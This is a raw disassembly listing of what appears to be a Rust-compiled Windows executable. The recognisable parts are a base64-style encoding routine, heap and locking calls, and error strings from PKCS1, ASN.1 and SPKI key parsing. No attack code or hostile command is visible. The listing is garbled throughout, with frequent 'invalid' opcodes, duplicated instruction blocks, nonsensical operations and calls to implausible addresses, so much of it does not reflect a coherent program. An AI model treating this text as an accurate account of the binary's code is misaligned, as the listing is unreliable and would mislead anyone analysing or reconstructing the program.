add rcx, 0x2d
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x2d]
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
movzx r11d, byte [rsp + 0x2d]
movzx r9d, byte [rsp + 0x2e]
movzx r10d, byte [rsp + 0x2f]
mov r14d, r11d
shr r14d, 2
mov ecx, 0x3e
mov ebp, 0x3e
sub ebp, r14d
shr ebp, 8
and ebp, 3
mov eax, 0x3d
mov r8d, 0x3d
sub r8d, r14d
shr r8d, 8
call 0x12087703b
int1
add byte [rax], al
add byte [rdx + 0x33], bh
call 0x12087703b
int1
add byte [rax], al
add byte [rdx + 0x33], bh
mov r12d, 0x33
sub r12d, r14d
shr r12d, 8
shr esp, 8
shr esp, 8
and r12d, 0xb5
add r12d, r8d
mov r8d, 0x19
add byte [rax], al
add byte [rcx - 0x43], al
sbb dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x43], al
sbb dword [rax], eax
add byte [rax], al
sub r13d, r14d
shr r13d, 8
and r13d, 6
add r13d, r14d
add r13d, r12d
add r13d, ebp
add r13b, 0x41
mov byte [r15], r13b
shl r11d, 4
and r11d, 0x30
mov ebp, r9d
shr ebp, 4
or ebp, r11d
mov r11d, 0x3e
sub r11d, ebp
shr r11d, 8
and r11d, 3
mov r14d, 0x3d
sub r14d, ebp
shr r14d, 8
and r14d, 0xf1
and esi, 0xf1
and esi, 0xf1
mov r12d, 0x33
sub r12d, ebp
shr r12d, 8
shr esp, 8
shr esp, 8
and r12d, 0xb5
add r12d, r14d
mov r14d, 0x19
add byte [rax], al
add byte [rcx + 0x29], al
out dx, al
add byte [rax], al
add byte [rcx + 0x29], al
out dx, al
shr r14d, 8
and r14d, 6
add r14d, ebp
out dx, al
out dx, al
add r14d, r12d
add r14d, r11d
add r14b, 0x41
mov byte [r15 + 1], r14b
and r9d, 0xf
shr r10d, 6
lea r9d, [r10 + r9*4]
sub ecx, r9d
shr ecx, 8
and ecx, 3
mov r10d, 0x3d
sub r10d, r9d
shr r10d, 8
and r10d, 0xf1
sub edx, r9d
shr edx, 8
and edx, 0xb5
add edx, r10d
sub r8d, r9d
sub eax, ecx
sub eax, ecx
shr r8d, 8
and r8d, 6
add r8d, r9d
add r8d, edx
add r8d, ecx
add r8b, 0x41
cmp rbx, 1
movzx ecx, r8b
cmove ecx, eax
mov byte [r15 + 2], cl
mov byte [r15 + 3], 0x3d
add r15d, dword [0x13ffe323a]
invalid
add r15d, dword [0x13ffe323a]
dec esp
int3
mov r8, qword es:[r9]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r9, rsi
call qword [sym.imp.kernel32.dll_HeapReAlloc]
test rax, rax
jne 0x1400630dd
jmp 0x1400630e5
mov dh, 5
adc al, 0x62
or dword [rax], eax
mov rcx, qword [0x1400f91f8]
or eax, 0x96145
test rcx, rcx
jne 0x1400630cd
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x1400630e5
mov rcx, rax
mov qword [0x1400f91f8], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x1400630e5
ror byte [rcx - 0x77], cl
invalid
mov qword [rdi + 8], rax
xor eax, eax
jmp 0x1400630f2
mov qword [rdi + 8], 1
mov eax, 1
mov qword [rdi + 0x10], rsi
mov qword [rdi], rax
add rsp, 0x28
pop rdi
pop rsi
ret
cmp byte [rax], al
sete cl
ror dword [rbp + rcx*4 + 0x44], 9
adc eax, 0x560d8d48
invalid
invalid
add byte [rax - 0x73], cl
add eax, 0x73e3a
cmove rax, rcx
ror dword [rbp + rcx*4 + 0x44], 9
adc eax, 0x560d8d48
invalid
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
int3
mov eax, dword [rcx + 8]
mov rcx, rax
jmp fcn.140041f10
in eax, dx
std
invalid
in eax, dx
std
dec esp
int3
in al, dx
push 0x48018b48
add eax, 0xfffffffc
cmp rax, 4
add al, 0x41
mov eax, 2
add al, 0x41
mov eax, 2
cmovb r8, rax
lea rax, [0x1400efa80]
lea eax, [0x1400efa80]
lea eax, [0x1400efa80]
movsxd r8, dword [rax + r8*4]
add r8, rax
jmp r8
add rcx, 8
mov qword [rsp + 0x20], rcx
and byte [rax - 0x73], cl
and al, 0x20
and al, 0x20
and byte [rax - 0x73], cl
and al, 0x20
and al, 0x20
and al, 0x20
mov qword [rsp + 0x28], rax
lea rax, [0x140063260]
mov qword [rsp + 0x30], rax
lea rax, str.PKCS1_ASN.1_error:
invalid
add bl, ch
invalid
invalid
mov qword [rsp + 0x20], rcx
lea rax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [0x140063340]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
lea eax, [0x1400ecf60]
lea eax, [0x1400ecf60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x58], 0
pop rax
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
add dword [rax], eax
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x38]
call fcn.140042240
nop
add rsp, 0x68
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e226a]
mov r8d, 0x14
add rsp, 0x68
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.PKCS1_cryptographic_errorPKCS1_version_errorPKCS8_ASN.1_error:
mov r8d, 0x1a
add rsp, 0x68
jmp rax
movzx edx, dl
shl edx, 0x18
and r13d, 0xffffff
or r13d, edx
shl rcx, 0x20
mov rdx, qword [rsp + 0xc0]
mov qword [rsp + 0x40], rdx
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x30], xmm0
mov r12d, r12d
or r12, rcx
mov ecx, dword [rdi + 0xc]
test ebx, ebx
jne 0x14006372d
xor r13d, r13d
add ecx, r13d
setb dl
not dl
cmp ecx, 0x10000000
setb r8b
and r8b, dl
movzx edx, r8b
mov qword [rsi + 8], r12
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], r14
movaps xmm0, xmmword [rsp + 0x30]
movups xmmword [rsi + 0x20], xmm0
mov rax, qword [rsp + 0x40]
mov qword [rsi + 0x30], rax
mov dword [rsi], edx
mov dword [rsi + 4], ecx
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp r8b, 0xd
jne 0x140063880
xor ebx, ebx
mov r8d, 6
jmp 0x1400638a9
mov r12, r8
shr r12, 8
mov rcx, r8
shr rcx, 0x20
mov rdx, qword [rsp + 0x80]
mov qword [rsp + 0x40], rdx
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x30], xmm0
movzx r8d, r8b
mov rdx, qword [rsp + 0x40]
push rsp
and al, 0x40
mov qword [rsp + 0xc0], rdx
movaps xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0xb0], xmm0
mov edx, r13d
shr edx, 0x18
invalid
sbb byte [rcx - 0x3f], al
in al, 8
or r12d, r8d
jmp 0x1400636ef
invalid
invalid
ror byte [rbp + 0x21], 1
invalid
mov ecx, dword [rsp + 0x48]
movups xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x70], xmm0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x80], rax
add byte [rax], 0
invalid
add byte [rax], 0
add byte [rcx - 0x3ff6b330], cl
ror byte [rcx + rcx - 0x40], 1
mov eax, edx
or rax, r8
mov edx, 0xffffffff
or r14, rdx
and r14, r9
mov rdx, qword [rsp + 0x80]
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x70], al
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x70], al
movaps xmmword [rsp + 0x30], xmm0
and al, 0x30
mov qword [rsp + 0x40], rdx
mov ebx, ecx
jmp 0x140063723
or byte [rbx + 0x29481841], cl
ret 0x3c73
lea ecx, [rax + 1]
xor edx, edx
cmp ecx, 0x10000000
setae dl
mov r12d, eax
invalid
inc r12d
invalid
lea rcx, [rdx + rdx*8 + 3]
mov r13d, 0xc
add byte [rax], al
add byte [rdi + rcx + 0x45], cl
jmp 0x160eafab3
mov edx, eax
invalid
xchg ebx, eax
ret 0x8941
invalid
invalid
add byte [rax], al
add byte [rdi + rcx + 0x45], cl
jmp 0x160eafab3
ret 0x94d
or r12, r13
mov ecx, 1
add byte [rax], al
add byte [rax], al
xor r8d, r8d
mov r13d, eax
jmp 0x140063906
invalid
mov al, byte [rcx - 0x77]
invalid
setae al
xchg ebx, eax
rol byte [rbp + 8], 0xc8
or r8b, r9b
cmp rdx, rbx
jae 0x1400639b1
test r8b, r8b
jne 0x1400639b6
mov edx, dword [rcx + 0x10]
mov byte [rcx + 0x1c], 1
sbb al, 1
sbb al, 1
shl r13, 0x20
mov r12d, 3
mov esp, 3
mov esp, 3
jmp 0x14006396c
test r8b, r8b
je 0x1400639d3
mov r12d, 0xc
xor ecx, ecx
xor r8d, r8d
xor eax, eax
xor eax, eax
jmp 0x140063906
or al, 0
add byte [rax], al
add byte [rax], al
add cl, ch
invalid
popfq
invalid
jmp 0x140063870
mov rdx, qword [rcx]
add rdx, rax
mov dword [rcx + 0x18], r13d
imul ebx, dword [rax], 0xcb8
invalid
imul ebx, dword [rax], 0xcb8
add byte [rcx - 0x44], al
invalid
or al, 0
add byte [rax], al
mov r12d, 0x107
test rbx, rbx
invalid
je 0x140063a41
invalid
cmp ebx, 1
jne 0x140063a46
sti
add dword [rbp + 0x54], esi
movzx ecx, byte [rdx]
test cl, cl
jne 0x140063a51
add bl, ch
pop rbx
add edx, 0xffff0000
mov cl, 0x83
cmp edx, 0xff0000
cli
add byte [rax], al
inc dword [rax]
add byte [rcx - 0x48], al
or eax, 0x72000000
add byte [rax], al
add byte [rdx + 0x11], dh
add byte [rcx - 0x48], al
or eax, 0x72000000
add byte [rax], al
add byte [rdx + 0x11], dh
lea eax, [r13 - 0x1000000]
add byte [rax], al
add byte [rdx + 0x11], dh
lea eax, [r13 - 0x1000000]
add byte [rax], al
add bh, bh
cmp eax, 0xf000000
setb al
mov cl, 0x84
xor ebx, ebx
test al, al
je 0x140063a3c
cmp cl, bpl
je 0x14006360c
invalid
invalid
invalid
jmp 0x140063870
invalid
jmp 0x140063723
movzx ecx, byte [rdx]
mov dh, 0xa
test cl, cl
je 0x140063b0d
mov r8, rbx
test cl, cl
js 0x140063b00
add byte [rax], al
add r8, 2
dec rdx
mov r14, r8
lea rcx, [rdx + 1]
dec r8
cmp r14, 3
je 0x140063a7c
cmp byte [rdx + 1], 0
mov rdx, rcx
je 0x140063a63
add byte [rax - 0x77], cl
retf 0xe774
add r14, 0xfffffffffffffffe
cmp r14, 0xfffffff
invalid
invalid
invalid
dec dword [rdi]
emms
invalid
invalid
emms
push 0x44
mov edx, esi
mov edx, r14d
mov r10, rcx
xor r9d, r9d
cmp r8, 1
je 0x140063ad7
movzx r9d, byte [r10]
lea r13, [r8 - 1]
push 0xfffffffff88349ff
invalid
je 0x140063ab1
push 0xfffffffff88349ff
add dh, byte [rbx + rcx + 0x49]
inc r10
inc r10
mov r8, r13
test r9b, r9b
je 0x140063a8f
mov r8, r13
shr r8, 0x20
jne 0x140063b1a
cmp r13d, 0xfffffff
ja 0x140063b36
movzx r9d, r9b
leave
shr r9d, 7
add r9d, r13d
cmp r9d, 0xfffffff
ja 0x140063b1a
cmp r9d, ebx
jne 0x140063b22
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], rdx
mov dword [rsi], 2
jmp 0x140063769
xor ebx, ebx
mov r12d, 0x1010106
jmp 0x140063723
xor ebx, ebx
mov r12d, 0x117
jmp 0x140063723
cmp byte [rdx + 1], 0
js 0x140063b2a
xor ebx, ebx
jmp 0x140063723
cld
invalid
invalid
cld
invalid
mov r12d, 0xc
jmp 0x140063b3c
mov r12d, 0x1010107
jmp 0x140063b41
inc rdx
lea r8, [rbx - 1]
jmp 0x140063a5c
mov r12d, 0xc
mov eax, 0xc
add byte [rax], al
xor ebx, ebx
jmp 0x140063723
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x88
mov rdi, r8
mov rsi, rcx
mov esi, ecx
mov esi, ecx
mov r15, r8
shr r15, 0x20
jne 0x140063c33
cmp edi, 0xfffffff
ja 0x140063c33
mov rbx, rdx
mov r14d, edi
mov qword [rsp + 0x68], rdx
mov dword [rsp + 0x70], edi
and al, 0x70
and al, 0x70
mov dword [rsp + 0x74], r15d
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
jl 0x140063bcf
jo 0x140063bf5
test edi, edi
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
jl 0x140063bcf
jo 0x140063bf5
test edi, edi
je 0x140063c43
mov dword [rsp + 0x80], 1
movzx edx, byte [rbx]
and al, 0x80
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0x13
lea rcx, [rsp + 0x30]
call fcn.14004abe0
mov eax, dword [rsp + 0x30]
xor al, ch
adc esi, dword [rax - 2]
dec dword [rbx - 0x7ccfdbbc]
clc
add cl, byte [rdi]
test dword [rdx + 0x48000000], edx
cmp edi, 1
and al, 0x30
cmp eax, 2
jne 0x140063c6c
cmp rdi, 1
jne 0x140063d06
test dword [rdx], esp
add dword [rax], eax
add dh, al
test byte [rsp + rax*4], ah
add byte [rax], al
add byte [rcx], al
mov byte [rsp + 0x84], 1
mov edi, 1
add byte [rax], al
movabs r8, 0x200000003
mov eax, 3
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax + 1], bh
mov eax, 1
mov r15, r8
shr r15, 8
mov r9, r8
shr r9, 0x20
shr ecx, 0x20
invalid
shr ecx, 0x20
mov ebp, r8d
mov dword [rsp + 0x20], edi
mov byte [rsp + 0x24], bpl
mov word [rsp + 0x25], r15w
shr r15d, 0x10
mov byte [rsp + 0x27], r15b
mov dword [rsp + 0x28], r9d
jmp 0x140063cbd
xor eax, eax
mov r8d, 0xc
add byte [rcx - 0x77], al
invalid
add byte [rcx - 0x77], al
invalid
jmp 0x140063cc9
mov byte [rsp + 0x84], 1
mov dword [rsp + 0x34], 0
add edi, eax
and al, 0x34
add byte [rax], al
add byte [rax], al
movabs rax, 0x100000003
add byte [rax], al
mov qword [rsp + 0x38], rax
mov eax, 1
xor r8d, r8d
jmp 0x140063c82
invalid
movzx ecx, byte [rsp + 0x36]
shl ecx, 0x10
movzx r8d, word [rsp + 0x34]
or r8d, ecx
mov r14, qword [rsp + 0x40]
movzx ecx, byte [rsp + 0x3f]
mov byte [rsp + 0x2b], cl
sub ecx, dword [rax - 0x75]
and al, 0x37
sub ecx, dword [rax - 0x75]
and al, 0x37
mov qword [rsp + 0x23], rcx
mov rbx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov word [rsp + 0x20], r8w
shr r8d, 0x10
call 0x1848e80c7
and al, 0x22
call 0x1848e80c7
adc byte [rax + rcx*4 + 0x44], al
and al, 0x22
mov edi, dword [rsp + 0x20]
jl 0x140063ce0
and byte [rbp - 0x77], cl
test dword [rcx - 0x3f], 0x8b4c20ef
and al, 0x24
mov r15, r14
shr r15, 0x20
mov r8, qword [rsp + 0x24]
mov qword [rsi], 4
mov dword [rsi], 4
mov dword [rsi + 8], eax
mov dword [rsi + 0xc], edi
mov qword [rsi + 0x10], r8
mov dword [rsi + 0x18], r14d
mov dword [rsi + 0x18], esi
mov dword [rsi + 0x1c], r15d
mov qword [rsi + 0x20], rbx
mov qword [rsi + 0x28], rcx
jle 0x140063cfe
movlps qword [rsi + 0x30], xmm0
mov qword [rsi + 0x38], rdx
mov dword [rsi + 0x38], edx
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
movzx eax, byte [rsp + 0x36]
shl eax, 0x10
movzx r15d, word [rsp + 0x34]
and al, 0x34
and al, 0x34
or r15d, eax
mov dword [rsp + 0x80], 2
movzx r12d, byte [rbx + 1]
test r12b, r12b
js 0x140063e44
mov edi, r12d
mov dword [rsp + 0x20], edi
mov word [rsp + 0x24], r15w
shr r15d, 0x10
mov byte [rsp + 0x26], r15b
mov r9, qword [rsp + 0x20]
movabs rax, 0xff00000000
and rax, r9
enter 0xffffffffffffb948, 0
add byte [rax], al
add byte [rcx], cl
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff850f, 0xffffffffffffffef
add byte [rax], al
invalid
enter 0xffffffffffffb948, 0
add byte [rax], al
add byte [rcx], cl
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff850f, 0xffffffffffffffef
add byte [rax], al
add byte [rbx + rcx*4 + 0x74], al
and al, 0x78
mov r14d, dword [rsp + 0x78]
mov edi, dword [rsp + 0x80]
xor eax, eax
sub r14d, edi
cmovb r14d, eax
xor ecx, ecx
cmp r14d, r9d
setne cl
mov eax, 0xff
cmovbe eax, ecx
test al, al
je 0x140063da2
invalid
invalid
movzx eax, al
cmp eax, 0xff
jne 0x140063f72
sar byte [0x140063e9c], 0xf
test eax, edx
add dword [rax], eax
add byte [rax - 0x73], cl
and al, 0x68
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], r9d
mov dword [rsp + 0x2c], 0
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x30
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x30
lea rdx, [rsp + 0x20]
call fcn.140063570
mov eax, dword [rsp + 0x30]
cmp eax, 2
jne 0x140063f45
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbx + rcx*4 + 0x64], cl
mov esp, dword [rsp + 0x38]
mov r12, qword [rsp + 0x38]
mov esp, dword [rsp + 0x38]
mov ebp, dword [rsp + 0x40]
mov r15d, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x20]
call fcn.140063570
mov eax, dword [rsp + 0x30]
cmp eax, 2
jne 0x140063f45
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
mov r14d, dword [rsp + 0x28]
mov edi, dword [rsp + 0x2c]
and al, 0x2c
and al, 0x2c
cmp r14d, edi
jbe 0x140063ff5
xor eax, eax
sub r14d, edi
cmovb r14d, eax
mov r8, rdi
shl r8, 0x20
or r8, 0x15
mov eax, 1
jmp 0x140063cc9
invalid
inc dword [rcx - 0x7f]
cld
add byte [rax], 0
add byte [rbp + 0x2d], dh
cmp r12d, 0x80
jne 0x140063e7a
xor eax, eax
mov r8d, 5
add byte [rax], al
add byte [rax], al
jmp 0x140063c00
cmpsb byte [rsi], byte [rdi]
std
invalid
movabs rax, 0xffffff00000000
and r9, rax
ror dword [rcx - 0x7f], 0xc9
adc ecx, dword [rcx]
add byte [rax], al
ror dword [rcx - 0x7f], 0xc9
adc ecx, dword [rcx]
add byte [rax], al
xor edi, edi
mov r8, r9
xor eax, eax
jmp 0x140063c3e
mov bpl, 6
cmp r12b, 0x84
ja 0x140063fb5
mov r13, r12
xor edi, edi
xor r13, 0x80
je 0x140063f24
lea rbx, [rsp + 0x30]
lea r14, [rsp + 0x68]
mov rcx, rbx
mov rdx, r14
mov r8d, 1
call fcn.14004bb10
mov eax, dword [rsp + 0x30]
cmp eax, 2
jne 0x140063fc4
add byte [rax], al
add byte [rax], al
mov rdx, qword [rsp + 0x40]
cmp rdx, 1
jne 0x140064060
invalid
add byte [rcx + 0x8e0c1f8], cl
mov eax, edi
shl eax, 8
mov rcx, qword [rsp + 0x38]
movzx edi, byte [rcx]
or edi, eax
dec r13
jne 0x140063ea3
cmp edi, 0x10000000
jae 0x14006401e
mov r8d, edi
and r8d, 0xffffff80
mov cl, 1
mov dl, 0x81
cmp r8d, 0x80
add byte [rax], 0
invalid
je 0x140063f34
add byte [rax], 0
add byte [rax + rsi + 0x44], dh
lea eax, [rax - 0x100]
lea r8d, [rax - 0x100]
mov dl, 0x82
cmp r8d, 0xff00
cmp eax, 0xff00
cmp eax, 0xff00
jb 0x140063f34
add eax, 0xffff0000
mov dl, 0x83
cmp eax, 0xff0000
add byte [rax], al
inc dword [rax]
add byte [rax], al
inc dword [rax]
add bh, bh
add byte [rdx + 0x10], dh
jb 0x140063f34
lea eax, [rdi - 0x1000000]
cmp eax, 0xf000000
invalid
setb cl
mov dl, 0x84
invalid
xor eax, eax
test cl, cl
je 0x140063fb7
cmp dl, r12b
je 0x140063d33
test al, dh
std
invalid
invalid
test al, dh
std
invalid
jmp 0x140063fb7
mov edi, dword [rsp + 0x34]
and al, 0x34
mov r8, qword [rsp + 0x38]
mov r14d, dword [rsp + 0x40]
mov r15d, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
pop rsp
and al, 0x48
pop rsp
and al, 0x48
mov rcx, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x58]
and al, 0x58
and al, 0x58
mov rdx, qword [rsp + 0x60]
jmp 0x140063cc9
add r9d, edi
setb cl
xchg edx, eax
sal dword [rcx], 0xc0
xchg edx, eax
sal dword [rcx], 0xc0
mov r8d, 0xc
mov eax, 0xc
cmp r9d, 0xfffffff
ja 0x140063fbc
test cl, cl
jne 0x140063fbc
add r14d, edi
setb cl
cmp r14d, 0xfffffff
ja 0x140064016
test cl, cl
jne 0x140064016
shl r9, 0x20
or r9, 3
mov eax, 1
and byte [rcx - 0x7d], cl
leave
add edi, dword [rax + 1]
mov r8, r9
jmp 0x140063c3e
xor eax, eax
shr cl, 0x55
cld
invalid
jmp 0x140063c11
mov edi, r9d
jmp 0x140063c3e
invalid
dec dword [rbx + 0x4c34247c]
mov eax, dword [rsp + 0x38]
mov edi, dword [rsp + 0x34]
mov r8, qword [rsp + 0x38]
mov r14, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
cmp r8b, 0xd
jne 0x140063c00
xor eax, eax
jmp 0x140063fb7
mov edi, dword [rsp + 0x80]
cmp byte [rsp + 0x84], 0
add byte [rax], al
add byte [rax], al
add byte [rbp + riz + 0x41], dh
mov eax, 1
je case.0x14004e56b.39
mov r8d, 1
mov eax, 1
jmp 0x140063cc9
mov edi, r14d
jmp 0x140063c3e
xor eax, eax
mov r8d, 0xc
or al, 0
add byte [rax], al
rol byte [rcx - 0x48], 0xc
add byte [rax], al
add cl, ch
invalid
or al, 0
add byte [rax], al
jmp 0x140063c00
mov r14d, dword [rsp + 0x78]
cmp r14d, edi
ja 0x140063e26
invalid
invalid
invalid
mov qword [rsi + 8], r12
mov dword [rsi + 0x10], ebp
outsb dx, byte [rsi]
adc byte [rcx + rcx*4 + 0x7e], al
jle 0x140064058
mov qword [rsi + 0x18], rbx
invalid
outsb dx, byte [rsi]
adc byte [rcx + rcx*4 + 0x7e], al
jle 0x140064058
mov qword [rsi + 0x18], rbx
invalid
jle 0x140064058
sbb byte [rax - 0x77], cl
and byte [rdi], r9b
adc eax, dword [rsi + 0x28]
invalid
mov qword [rsi + 0x20], rcx
movlps qword [rsi + 0x28], xmm0
invalid
sub byte [rax - 0x77], cl
push rsi
xor byte [rax - 0x39], cl
invalid
mov qword [rsi + 0x30], rdx
mov qword [rsi], 8
add cl, ch
xchg edx, eax
cld
invalid
invalid
add cl, ch
xchg edx, eax
cld
invalid
dec dword [rbp + rcx*4 + 5]
test eax, 0xb90007e1
add dword [rax], eax
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fder_0.7.8_src_reader.rs
mov ecx, 1
add byte [rax], al
add byte [rax], al
add al, ch
invalid
call fcn.1400aa690
ud2
invalid
or ecx, esp
int3
int3
int3
lea r9, [0x1400efa90]
movsxd rax, dword [r9 + rax*4]
add bh, byte [rdx + 0x63490008]
add al, 0x81
add rax, r9
add eax, ecx
jmp rax
and al, 0x20
lea rax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
and al, 0x28
mov dword [rsp + 0x28], eax
and al, 0x28
lea rax, [0x140063260]
mov qword [rsp + 0x30], rax
lea rax, [0x1400e2298]
jmp 0x1400640f8
lea rax, [0x1400e22cf]
mov r8d, 0x25
add eax, 0x410007e2
mov eax, 0x25
jmp 0x14006414c
lea rax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [0x140064160]
lea eax, [0x140064160]
lea eax, [0x140064160]
mov qword [rsp + 0x30], rax
lea rax, [0x1400e2308]
add eax, 0x7e210
add eax, 0x7e210
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x50], 1
lea rax, [rsp + 0x38]
mov rcx, rdx
mov rdx, r8
mov edx, eax
cmp byte [rax - 0x77], cl
ror dword [rcx + rcx*4 - 0x3e], 1
mov edx, eax
mov r8, rax
call fcn.140042240
loope 0x140064131
call qword [rax + 0x68c48348]
or esp, ecx
std
loope 0x140064131
call qword [rax + 0x68c48348]
ret
invalid
mov rcx, rdx
mov rdx, rax
ror dword [rax - 0x77], 1
ret 0x8348
invalid
invalid
add rsp, 0x68
jmp r9
int3
sar esi, 0x83
stc
add al, 0x41
mov eax, 1
add byte [rax], al
add byte [rdi + rcx + 0x42], al
ror dword [rax - 0x73], 0xd
lea ecx, [0x1400efaa0]
movsxd r8, dword [rcx + r8*4]
add al, 0x81
add byte [rax], al
add byte [rdi + rcx + 0x42], al
ror dword [rax - 0x73], 0xd
lea ecx, [0x1400efaa0]
invalid
invalid
add al, 0x81
add r8, rcx
jmp r8
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.AlgorithmIdentifier_parameters_missingASN.1_error:
cmp dword [rax], ecx
add byte [rcx - 0x48], al
add byte es:[rax], al
add byte [rax - 0x7d], cl
invalid
invalid
jmp rax
cmp dword [rax], ecx
add byte [rcx - 0x48], al
add byte es:[rax], al
add byte [rax - 0x7d], cl
invalid
lea rdx, str.SPKI_cryptographic_key_data_malformedunknown_unsupported_algorithm_OID:
mov r8d, 0x25
add rsp, 0x68
jmp rax
wbinvd
add byte [rax - 0x2f], cl
loopne 0x1400683ad
test eax, eax
jne 0x140068611
mov rcx, rbx
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov rcx, qword [r15 + 0x190]
test rcx, rcx
je 0x14006838f
mov rax, qword [r15 + 0x198]
mov rdx, rdi
call qword [rax + 0x28]
mov rbx, qword [rsp + 0x180]
mov r14, qword [rsp + 0x190]
add byte [rcx - 0x75], cl
xchg esi, eax
adc byte [rdx], al
add byte [rax], al
add byte [rax + 0x39], cl
ror dword [rdi], cl
invalid
lahf
add al, byte [rax]
invalid
add byte [rax + 0x39], cl
ror dword [rdi], cl
sbb dword [rdi + 0x49000002], 0xffffff8b
mov eax, dword [rsi + 0x200]
lea r12, [rbx + rbx*8]
mov rcx, qword [rax + r12*8 + 0x30]
add byte [rax], al
mov rax, qword [r14 + 0x200]
mov eax, dword [rsi + 0x200]
mov eax, dword [rsi + 0x200]
add byte [rdx], al
add byte [rax], al
lea r12, [rbx + rbx*8]
mov rcx, qword [rax + r12*8 + 0x30]
cmp rcx, 3
jne 0x14006858e
mov rdx, qword [r14 + 0x210]
add byte [rax], al
cmp rbx, rdx
jae 0x1400685b3
sbb edx, 1
add byte [rax], al
sbb edx, 1
add byte [rax], al
mov r13, qword [r14 + 0x200]
lea rbx, [r12*8 + 0x18]
add byte [rax], al
add byte [rcx + rax - 0x15], cl
jmp 0x140068434
mov ecx, ebx
call qword [sym.imp.kernel32.dll_AcquireSRWLockExclusive]
hlt
jg 0x1400683f7
invalid
jmp 0x140068434
adc eax, 0x47ff4
mov rax, qword [0x1400f9290]
or dword [rax], eax
shl rax, 1
test rax, rax
jne 0x1400685c4
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbp + 0x31], al
test byte [rdi], 0xb6
or byte [r8 + r8*8 + 0x1c6850f], al
add byte [rax], al
invalid
xor r14d, r14d
movzx eax, byte [rbx + 8]
test al, al
jne 0x1400685dc
invalid
add dh, al
or dword [r9], eax
mov byte [rbx + 9], 1
lea rcx, [r12*8 + 0x28]
add byte [rax], al
add rcx, r13
call qword [sym.imp.kernel32.dll_WakeAllConditionVariable]
test r14b, r14b
jne 0x140068443
mov rax, qword [0x1400f9290]
mov eax, dword [0x1400f9290]
invalid
shl rax, 1
test rax, rax
jne case.0x140023fa5.510
ror byte [rdi], 0x85
in al, 1
add byte [rax], al
mov rcx, rbx
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov rcx, qword [r15 + 0x1a0]
test rcx, rcx
je 0x140068465
